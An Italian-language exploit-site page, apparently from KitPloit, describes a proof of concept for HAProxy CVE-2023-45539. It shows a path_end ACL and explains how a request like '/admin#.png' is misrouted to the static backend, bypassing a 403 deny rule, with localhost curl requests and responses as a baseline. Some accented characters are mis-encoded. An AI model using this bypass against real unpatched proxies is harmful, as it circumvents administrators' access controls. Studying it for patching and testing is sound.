## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SLICINGMELON-HAPROXY-CVE-2023-45539-POC
# HAProxy-CVE-2023-45539-PoC
HAProxy precedente alla versione 2.8.2 accetta # come parte del componente URI, il che potrebbe consentire a un attaccante remoto di ottenere informazioni sensibili o avere un impatto non specificato a causa di un'interpretazione errata di una regola path_end, come instradare index.html#.png a un server statico.
CiΓ² che viene instradato erroneamente in questa CVE non Γ¨ un'estensione che l'app backend "supporta" β ma solo quelle che HAProxy stesso Γ¨ configurato per instradare usando ACL path_end (o regex).
root@kitploit:~
acl is_static path_end .png .jpg .gif .css .js
use_backend be_static if is_static
CiΓ² significa:
* HAProxy non si preoccupa se il backend possa effettivamente servire .png, .js, ecc.
* Osserva solo la corrispondenza del suffisso nel percorso della richiesta.
* Se il suffisso corrisponde a una di quelle stringhe, instrada verso be_static.
* Quindi:
/admin#.png β corrisponde a .png β va a be_static β bypass
/admin#.asc β non corrisponde β rimane in be_app β raggiunge deny β 403
root@kitploit:~
curl -i http://localhost:6655/public
HTTP/1.1 200 OK
content-length: 7
content-type: text/plain
APP OK
root@kitploit:~
curl -i http://localhost:6655/admin
HTTP/1.1 403 Forbidden
content-length: 93
cache-control: no-cache
content-type: text/html
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>